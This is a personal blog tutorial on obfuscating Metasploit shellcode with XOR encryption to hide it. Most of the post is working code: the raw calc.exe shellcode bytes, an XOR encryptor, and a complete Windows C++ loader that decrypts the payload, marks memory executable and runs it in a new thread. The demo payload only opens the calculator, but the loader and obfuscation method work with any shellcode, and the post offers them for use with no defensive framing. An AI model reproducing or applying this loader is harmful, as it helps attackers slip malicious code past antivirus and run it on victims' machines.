Irfan Farooq
← All posts

Obfuscate payloads with xor Encryption.

4 min read

Hello everyone, I am Irfan Today we are going to talk about obfuscating payloads with xor encryption. So let’s start and have some fun.…..

First of all I will generate a shellcode using metasploit. Let’s first launch metasploit with this command

msfconsole -q

If you don’t have metasploit installed google it and just install it. We will generate 32 bit shellcode here. Now run these command in msfconsole

First of all we used a 32 bit windows payload and then we set the command which it will run to calc.exe and set the EXITFUNC to thread. Then we generated our shellcode. Now we need to copy it to our windows machine.

Now In my windows VM We will launch x86 Native command prompt. It comes alongside with Visual Studio. If you have not installed it, you can install it from here. You can download the community edition for free. Now launch the visual studio code from x86 Native command prompt by running

code

command.

It will open visual studio code. Now create a folder, I have created a folder xor. Now inside the xor folder create two files with name encryptor.cpp and xor.cpp. Now copy this code in xor.cpp

#include <windows.h>
#include <stdio.h>
#include <string.h>

// main code
int main(VOID){

// shellcode payload

unsigned char shellcode_payload[] = "";

// shellcode length
unsigned int shellcode_length=sizeof(shellcode_payload);

// allocate the memory
LPVOID memory_address=VirtualAlloc(
    NULL,
    shellcode_length,
    MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE
);

// load the shellcode in the memory

RtlMoveMemory(
    memory_address,shellcode_payload,shellcode_length
);

// make shellcode executable
DWORD old_protection=0;
BOOL returned_vp= VirtualProtect(
    memory_address,
    shellcode_length,
    PAGE_EXECUTE_READ,
    & old_protection
);

// execute thread
if(returned_vp!= NULL){
    HANDLE thread_handle= CreateThread(
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE) memory_address,
        NULL,NULL,NULL
    );

    // wait for thread to complete
    WaitForSingleObject(
        thread_handle,
        INFINITE
    );
}
}

If you cannot understand this code, I have explained this code in my previous blog which you can find here.

Now first of all we will encrypt our payload with xor encryption. In encryptor.cpp, paste the shellcode which we generated with metasploit like this.

#include<stdio.h>
int main(){
    unsigned char shellcode_payload[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" 
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" 
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" 
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" 
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" 
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" 
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" 
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" 
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" 
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" 
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" 
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" 
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" 
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
}; 
}

Now we will encrypt the payload with xor encryption.

#include<stdio.h>
int main(){
    unsigned char shellcode_payload[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" 
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" 
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" 
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" 
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" 
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" 
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" 
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" 
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" 
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" 
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" 
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" 
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" 
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
};

char key='A';
 
 for (int i = 0; i < sizeof(shellcode_payload); i++)
 {
    printf("\\x%02x",shellcode_payload[i]^key);
 }
 
}

Let’s break down the code step by step:

  1. char key = 'A';: This line declares a character variable named key and initializes it with the value of ‘A’.
  2. The for loop: This loop iterates over the elements of the shellcode_payload array. The loop starts with i set to 0 and continues until i is less than the size of the shellcode_payload array. The size of the array is determined using the sizeof operator.
  3. printf("\\x%02x", shellcode_payload[i] ^ key);: This line is the core of the code, where the XOR operation is performed between shellcode_payload[i] and key, and the result is printed in hexadecimal format.

Now run this program in visual studio code and you will get this output

Now copy this output and put it in the xor.cpp like this

Now we will need to decrypt this payload here, so we will paste the encryptor.cpp code here. So our final code will be

#include <windows.h>
#include <stdio.h>
#include <string.h>

// main code
int main(VOID){

// shellcode payload

unsigned char shellcode_payload[] = "\xbd\xa9\xc3\x41\x41\x41\x21\xc8\xa4\x70\x81\x25\xca\x11\x71\xca\x13\x4d\xca\x13\x55\xca\x33\x69\x4e\xf6\x0b\x67\x70\xbe\xed\x7d\x20\x3d\x43\x6d\x61\x80\x8e\x4c\x40\x86\xa3\xb3\x13\x16\xca\x13\x51\xca\x0b\x7d\xca\x0d\x50\x39\xa2\x09\x40\x90\x10\xca\x18\x61\x40\x92\xca\x08\x59\xa2\x7b\x08\xca\x75\xca\x40\x97\x70\xbe\xed\x80\x8e\x4c\x40\x86\x79\xa1\x34\xb7\x42\x3c\xb9\x7a\x3c\x65\x34\xa5\x19\xca\x19\x65\x40\x92\x27\xca\x4d\x0a\xca\x19\x5d\x40\x92\xca\x45\xca\x40\x91\xc8\x05\x65\x65\x1a\x1a\x20\x18\x1b\x10\xbe\xa1\x1e\x1e\x1b\xca\x53\xaa\xcc\x1c\x2b\x40\xcc\xc4\xf3\x41\x41\x41\x11\x29\x70\xca\x2e\xc6\xbe\x94\xfa\xa1\x5c\x6b\x4b\x29\xe7\xd4\xfc\xdc\xbe\x94\x7d\x47\x3d\x4b\xc1\xba\xa1\x34\x44\xfa\x06\x52\x33\x2e\x2b\x41\x12\xbe\x94\x22\x20\x2d\x22\x6f\x24\x39\x24\x41\x41";

// shellcode length
unsigned int shellcode_length=sizeof(shellcode_payload);

// xor key
char key='A';

// xor the shellcode
for (int i = 0; i < shellcode_length-1; i++)
{
   shellcode_payload[i]=shellcode_payload[i]^key;
}

// allocate the memory
LPVOID memory_address=VirtualAlloc(
    NULL,
    shellcode_length,
    MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE
);

// load the shellcode in the memory

RtlMoveMemory(
    memory_address,shellcode_payload,shellcode_length
);

// make shellcode executable
DWORD old_protection=0;
BOOL returned_vp= VirtualProtect(
    memory_address,
    shellcode_length,
    PAGE_EXECUTE_READ,
    & old_protection
);

// execute thread
if(returned_vp!= NULL){
    HANDLE thread_handle= CreateThread(
        NULL,
        NULL,
        (LPTHREAD_START_ROUTINE) memory_address,
        NULL,NULL,NULL
    );

    // wait for thread to complete
    WaitForSingleObject(
        thread_handle,
        INFINITE
    );
}
}

Now after executing this program calculator will open.

Boom!

I hope you enjoyed it, You can follow me here on LinkedIn or Twitter.